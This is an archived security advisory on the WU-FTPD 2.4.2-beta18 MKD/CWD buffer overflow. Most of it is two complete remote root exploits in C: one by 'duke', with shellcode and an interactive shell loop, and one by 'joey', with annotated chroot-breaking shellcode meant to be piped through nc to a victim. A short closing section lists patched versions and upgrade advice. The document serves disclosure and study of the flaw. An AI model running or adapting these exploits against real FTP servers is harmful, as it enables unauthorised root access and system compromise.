COMMAND

    wuftpd

SYSTEMS AFFECTED

    Systems running wuftpd

PROBLEM

    Note that origin  of this vulnerability  was talkded on  following
    location:

	http://oliver.efri.hr/~crv/security/bugs/mUNIXes/ftpd14.html

    Pieter Nieuwenhuijsen  posted following  exploit against  WU-Ftpd.
    It is remote  exploit tested against  wu-2.4.2-academ[BETA-18](1).
    To exploit  this remotely  they need  to have  a directory you can
    have write privlidges  to.. this is  the <dir> argument..  you can
    also use this locally by specifying -l <ur login> -p <urpass> with
    the <dir>  = your  home directory  or something..(must  begin with
    '/')  also  alignment  arg  is  how  return  address  is aligned..
    shouldnt need it, but if  u do it should be  between 0 and 3.   It
    takes about 10 seconds after  "logged in" so be patient.   Exploit
    was done by duke (another  one follows belowe).  Someone  said the
    first exploit released will not work.  WU-ftpd will discard  nulls
    characters so the return address (bf ff f3 c0) will not be  passed
    to  the  stack,  which  means  we  cannot execute the instructions
    inserted in the buffer.

    /*
	    WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
	    for linux x86 (redhat 5.2)

	    by duke
	    duke@viper.net.au

	    BIG thanks to stran9er for alot of help with part of the shellcode!
	    i fear stran9er, but who doesn't? !@$ :)

	    Greets to: #!ADM, el8.org users,

	    -duke
    */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    //#include <linux/time.h>
    //#include <sys/select.h>
    #include <sys/time.h>
    #include <unistd.h>

    #define RET 0xbfffa80f

    void logintoftp();
    void sh();
    void mkd(char *);
    int max(int, int);
    long getip(char *name);

    char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
    "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
    "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
    "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
    "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
    "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
    "\x80\xe8\xac\xff\xff\xff";

    char tmp[256];
    char name[128], pass[128];

    int sockfd;

    int main(int argc, char **argv)
    {
	    char sendln[1024], recvln[4048], buf1[800], buf2[1000];
	    char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
	    int len, offset = 0, i, align=0;
	    struct sockaddr_in cli;

	    if(argc < 3){
		    printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
		    exit(0);
	    }

	    for(i=0; i < argc; i++) {
	      fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
	      strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
	    }

	    fakeargv[argc] = NULL;


	    while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
		switch(arg) {
		      case 'l':
			 strncpy(name,optarg,128);
			 break;
		      case 'p':
			 strncpy(pass,optarg,128);
			 break;
		      case 'a':
			 align=atoi(optarg);
			 break;
		      case 'o':
			 offset=atoi(optarg);
			 break;
		      default:
			 printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
			 exit(0);
			 break;
		 }
	    }

	    if(name[0] == 0) strcpy(name, "anonymous");
	    if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");


	    bzero(&cli, sizeof(cli));
	    bzero(recvln, sizeof(recvln));
	    bzero(sendln, sizeof(sendln));
	    cli.sin_family = AF_INET;
	    cli.sin_port = htons(21);
	    cli.sin_addr.s_addr=getip(argv[1]);

	    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		    perror("socket");
		    exit(0);
	    }

	    if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
		    perror("connect");
		    exit(0);
	    }
	    while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
		    recvln[len] = '\0';
		    if(strchr(recvln, '\n') != NULL)
			    break;
	    }
	    logintoftp(sockfd);
	    printf("logged in.\n");
	    bzero(sendln, sizeof(sendln));

	    for(i=align; i<996; i+=4)
		    *(long *)&buf2[i] = RET + offset;
	    memcpy(buf2, "a", align);
	    memset(buf1, 0x90, 800);
	    memcpy(buf1, argv[2], strlen(argv[2]));
	    mkd(argv[2]);
	    p = &buf1[strlen(argv[2])];
	    q = &buf1[799];
	    *q = '\x0';
	    while(p <= q){
		    strncpy(tmp, p, 200);
		    mkd(tmp);
		    p+=200;
	    }
	    mkd(shellcode);
	    mkd("bin");
	    mkd("sh");
	    p = &buf2[0];
	    q = &buf2[999];
	    while(p <= q){
		    strncpy(tmp, p, 250);
		    mkd(tmp);
		    p+=250;
	    }
	    sh(sockfd);


	    close(sockfd);
	    printf("finit.\n");
    }

    void mkd(char *dir)
    {
	    char snd[512], rcv[1024];
	    char blah[1024], *p;
	    int n;
	    struct timeval tv;

	    fd_set fds;
	    bzero(&tv, sizeof(tv));
	    tv.tv_usec=50;
	    bzero(blah, sizeof(blah));
	    p = blah;
	     for(n=0; n<strlen(dir); n++){
		    if(dir[n] == '\xff'){
			    *p = '\xff';
			    p++;
		    }
		    *p = dir[n];
		    p++;
	    }
	    sprintf(snd, "MKD %s\r\n", blah);
	    write(sockfd, snd, strlen(snd));
	    bzero(snd, sizeof(snd));
	    sprintf(snd, "CWD %s\r\n", blah);
	    write(sockfd, snd, strlen(snd));
	    bzero(rcv, sizeof(rcv));

	    FD_ZERO(&fds);
	    FD_SET(sockfd,&fds);
	    select(sockfd+1,&fds,NULL,NULL,&tv);

	    if (FD_ISSET(sockfd,&fds))
		    while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
			    rcv[n] = 0;
			    if(strchr(rcv, '\n') != NULL)
				    break;
		    }
	    return;
    }

    void logintoftp()
    {
	    char snd[1024], rcv[1024];
	    int n;

	    printf("logging in with %s: %s\n", name, pass);
	    memset(snd, '\0', 1024);
	    sprintf(snd, "USER %s\r\n", name);
	    write(sockfd, snd, strlen(snd));

	    while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
		    rcv[n] = 0;
		    if(strchr(rcv, '\n') != NULL)
			    break;
	    }

	    memset(snd, '\0', 1024);
	    sprintf(snd, "PASS %s\r\n", pass);
	    write(sockfd, snd, strlen(snd));

	    while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
		    rcv[n] = 0;
		    if(strchr(rcv, '\n') != NULL)
			    break;
	    }
	    return;
    }

    void sh()
    {
	    char snd[1024], rcv[1024];
	    fd_set rset;
	    int maxfd, n;

	    strcpy(snd, "cd /; uname -a; pwd; id;\n");
	    write(sockfd, snd, strlen(snd));

	    for(;;){
		    FD_SET(fileno(stdin), &rset);
		    FD_SET(sockfd, &rset);
		    maxfd = max(fileno(stdin), sockfd) + 1;
		    select(maxfd, &rset, NULL, NULL, NULL);
		    if(FD_ISSET(fileno(stdin), &rset)){
			    bzero(snd, sizeof(snd));
			    fgets(snd, sizeof(snd)-2, stdin);
			    write(sockfd, snd, strlen(snd));
		    }
		    if(FD_ISSET(sockfd, &rset)){
			    bzero(rcv, sizeof(rcv));
			    if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
				    printf("EOF.\n");
				    exit(0);
			    }
			    if(n < 0){
				    perror("read");
				    exit(-1);
			    }
			    fputs(rcv, stdout);
		    }
	    }
    }

    int max(int x, int y)
    {
	    if(x > y)
		    return(x);
	    return(y);
    }

    long getip(char *name)
    {
	    struct hostent *hp;
	    long ip;

	    if ((ip=inet_addr(name))==-1)
	    {
		    if ((hp=gethostbyname(name))==NULL)
		    {
			    fprintf(stderr,"Can't resolve host.\n");
			    exit (1);
		    }
		    memcpy(&ip, (hp->h_addr), 4);
	    }
	    return ip;
    }

    Another  exploit  was  done  by  joey  of  Rhino9.   Please   note
    following:

     /* To break chroot we have to...

	fd = open ( ".", O_RDONLY );
	mkdir ( "hax0r", 0666 );
	chroot ( "hax0r" );
	fchdir ( fd );
	for ( i = 0; i < 254; i++ )
	    chdir ( ".." );
	chroot ( "." );

     */

    Too complex for standard linux.  All we have to do to break chroot
    is:

     mkdir("/sh");   // we already have string "/sh" in memory as a part of
		     // "/bin/sh"
     chroot("/sh");
     chroot("../../../../../../../../../"); // a number of "../" here,
					    // I used 0x10

    Last string can be built is  stack with a simple loop.   Tested on
    linux 2.2.1.

    /*

	    wu-ftpd mkdir v2.4.2-beta18 remote rewt spl01t v1.20 ( linux x86 )
	    by joey__ <youcan_reachme@hotmail.com> of rhino9 <http://www.rhino9.com> - 2/20/99

	    big thx horizon, duke, nimrood and icee
	    sh0utz neonsurge, xaphan, joc, sri, aalawaka, and aakanksha

	    USAGE:

	    ( ./wh0a [ initialdir ] [ <username> <password> ] [ <offset> <code address> ] ; cat ) | nc <victimname> <victimport>

    */

    #include <stdio.h>
    
    char x86_shellcode0[156] =

    "\x83\xec\x04"                          /* sub esp,4 */
	    /* esi -> local variables and data */
    "\x5e"                                  /* pop esi */
    "\x83\xc6\x70"                          /* add esi,0x70 */
    "\x83\xc6\x20"                          /* add esi,0x20 */


    "\x8d\x5e\x0c"                          /* lea ebx,[esi+0x0c] */
	    /* decode the strings */
    "\x31\xc9"                              /* xor ecx, ecx */
    "\xb1\x30"                              /* mov cl,0x30 */
    "\x80\x2b\x32"                          /* sub byte ptr [ebx],0x32 */
    "\x43"                                  /* inc ebx */
    "\x49"                                  /* dec ecx */
    "\x75\xf9"                              /* jnz short decode_next_byte */

    "\x31\xc0"                              /* xor eax,eax */
	    /* setuid ( 0 ) */
    "\x89\xc3"                              /* mov ebx,eax */
    "\xb0\x17"                              /* mov al,0x17 */
    "\xcd\x80"                              /* int 0x80 */

    "\x31\xc0"                              /* xor eax,eax */
	    /* setgid ( 0 ) */
    "\x89\xc3"                              /* mov ebx,eax */
    "\xb0\x2e"                              /* mov al,0x2e */
    "\xcd\x80"                              /* int 0x80 */

    /* To break chroot we have to...

       fd = open ( ".", O_RDONLY );
       mkdir ( "hax0r", 0666 );
       chroot ( "hax0r" );
       fchdir ( fd );
       for ( i = 0; i < 254; i++ )
	   chdir ( ".." );
       chroot ( "." );

    */

    "\x31\xc0"                              /* xor eax,eax */
	    /* var0 = open ( ".", O_RDONLY ) */
    "\x31\xc9"                              /* xor ecx,ecx */
    "\x8d\x5e\x0f"                          /* lea ebx,[esi+0x0f] */
    "\xb0\x05"                              /* mov al,0x05 */
    "\xcd\x80"                              /* int 0x80 */
    "\x89\x06"                              /* mov [esi],eax */
  
    "\x31\xc0"                              /* xor eax,eax */
	    /* mkdir ( "hax0r", 0666 ) */
    "\x8d\x5e\x11"                          /* lea ebx,[esi+0x11] */
    "\x8b\x4e\x1f"                          /* mov ecx,[esi+0x1f] */
    "\xb0\x27"                              /* mov al,0x27 */
    "\xcd\x80"                              /* int 0x80 */

    "\x31\xc0"                              /* xor eax,eax */
	    /* chroot ( "hax0r" ) */
    "\x8d\x5e\x11"                          /* lea ebx,[esi+0x11] */
    "\xb0\x3d"                              /* mov al,0x3d */
    "\xcd\x80"                              /* int 0x80 */
 
    "\x31\xc0"                              /* xor eax,eax */
	    /* fchdir ( fd ) */
    "\x8b\x1e"                              /* mov ebx,[esi] */
    "\xb0\x85"                              /* mov al,0x85 */
    "\xcd\x80"                              /* int 0x80 */

    "\x31\xc9"                              /* xor ecx, ecx */
	    /* for ( i = 0; i < 254; i++ ) { */
    "\xb1\xfe"                              /* mov cl,0xfe */

    "\x31\xc0"                              /* xor eax,eax */
	    /* chdir ( ".." ) */
    "\x8d\x5e\x0c"                          /* lea ebx,[esi+0x0c] */
    "\xb0\x0c"                              /* mov al,0x0c */
    "\xcd\x80"                              /* int 0x80 */

    "\x49"                                  /* dec ecx */
	    /* } */
    "\x75\xf4"                              /* jnz short goto_parent_dir */
 
    "\x31\xc0"                              /* xor eax,eax */
	    /* chroot ( "." ) */
    "\x8d\x5e\x0f"                          /* lea ebx,[esi+0x0f] */
    "\xb0\x3d"                              /* mov al,0x3d */
    "\xcd\x80"                              /* int 0x80 */

    "\x31\xc0"                              /* xor eax,eax */
	    /* execve ( "/bin/sh", "xxxxx", NULL ) */
    "\x8d\x5e\x17"                          /* lea ebx,[esi+0x17] */
    "\x8d\x4e\x04"                          /* lea ecx,[esi+0x04] */
    "\x8d\x56\x08"                          /* lea edx,[esi+0x08] */
    "\x89\x19"                              /* mov [ecx],ebx */
    "\x89\x02"                              /* mov [edx],eax */
    "\xb0\x0b"                              /* mov al, 0x0b */
    "\xcd\x80"                              /* int 0x80 */

    "\x31\xdb"                              /* xor ebx,ebx */
	    /* exit ( 0 ) */
    "\x89\xd8"                              /* mov eax,ebx */
    "\x40"                                  /* inc eax */
    "\xcd\x80"                              /* int 0x80 */

    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"
    "\x90"

    "var0"
	    /* local variable integer */
    "cmd0"
	    /* char *cmd[2] */
    "cmd1";



    char x86_shellcode1[1024] =
    ".."
    "\x00"
    "."
    "\x00"
    "hax0r"
    "\x00"
    "/bin/sh"
    "\x00"
    "\xb6\x01\x00\x00";



    char vardir[300];
    int  varlen;



    main ( int argc, char **argv )
    {
  
      char *username, *password, *initialdir;
      int bufoffset, codeaddr, i, j, *pcodeaddr;
 
      if ( argc > 1 )
	 initialdir = argv[1];
      else initialdir = "/incoming";

      if ( argc > 3 )
      {
	username = argv[2];
	password = argv[3];
      }
      else
      {
	username = "anonymous";
	password = "poon@ni.com";
      }

      if ( argc > 5 )
      {
	 bufoffset = atoi ( argv[4] );
	 codeaddr = atoi ( argv[5] );
      }
      else
      {
	 bufoffset = 195;
	 codeaddr = 0x0805ac81;
      }

	printf ( "user %s\n", username );

	printf ( "pass %s\n", password );

	printf ( "cwd %s\n", initialdir );

	varlen = bufoffset - strlen ( initialdir );
	for ( i = 0; i <  varlen; i++ )
	    vardir[i] = 'x';
	vardir[varlen] = 0;
	printf ( "mkd %s\n", vardir );
	printf ( "cwd %s\n", vardir );

	varlen = 210;
	for ( i = 0; i <  varlen; i++ )
	    vardir[i] = 'x';
	vardir[varlen] = 0;
	printf ( "mkd %s\n", vardir );
	printf ( "cwd %s\n", vardir );

	varlen = 210;
	for ( i = 0; i <  varlen; i++ )
	    vardir[i] = 'x';
	vardir[varlen] = 0;
	printf ( "mkd %s\n", vardir );
	printf ( "cwd %s\n", vardir );

	varlen = 170;
	for ( i = 0; i <  varlen; i++ )
	    vardir[i] = 'x';
	vardir[varlen] = 0;
	printf ( "mkd %s\n", vardir );
	printf ( "cwd %s\n", vardir );

	varlen = 250;
	for ( i = 0; i <  varlen; i++ )
	    vardir[i] = 'x';

	for ( i = 0; i < sizeof ( x86_shellcode0 ); i++ )
	    vardir[i] = x86_shellcode0[i];
	j = 0;
	for ( i = sizeof ( x86_shellcode0 ); j < 32; i++ )
	{
	  vardir[i] = ( char ) ( x86_shellcode1[j++] + 0x32 );
	}

	pcodeaddr = ( int * ) &( vardir[varlen] );
	*pcodeaddr = codeaddr;
	vardir[varlen+4] = 0;

	printf ( "mkd %s\n", vardir );

    }

SOLUTION

    This is an exploit using the buffer overflow described in:

	CERT Advisory CA-99.03 - FTP-Buffer-Overflows

    It is  directed solely  at Redhat  CD 4.2  Linux systems running a
    clean, default  install.   It was  not successfull  on unclean 5.2
    systems, the  pre-5.2 systems  tested on,  or when  built with the
    daemon  by-hand  instead  of  using  a  Redhat  (S)RPM.   Testings
    showed,  while  none  of  the  systems available were exploitable,
    the  exploit  WOULD  HAVE  WORKED  but  failed  for   identifiable
    reasons.   Given  working  code  for  Redhat  4.2,  it should be a
    fairly simply matter to port to non-Linux or non-5.2 systems.

    Who is not vulnerable?

    - Systems running 2.4.2 (final) are protected against _this_  bug.
      Such  systems  should  upgrade  to  VR16 for maximum security; a
      number of other  bugs and security  problems have been  fixed in
      VR16.
    - Systems  running  2.4.2-beta-18-VR10  or  later  are  protected.
      Anyone running VR10 through VR13 should upgrade to VR14 or later
      at your earliest convenience.
    - Systems running BeroFTPD 1.2.0 or later are NOT vulnerable.  All
      BeroFTPD systems should upgrade  to the current version  (1.3.4)
      at  their  earliest  conenience.   Anyone  running  a vulnerable
      system  with  NEWVIRT,  will  want  to  immedeately  upgrade  to
      BeroFTPD.

    The location of the latest version of wu-ftpd can be found in the
    directory

	ftp://ftp.vr.net/pub/wu-ftpd/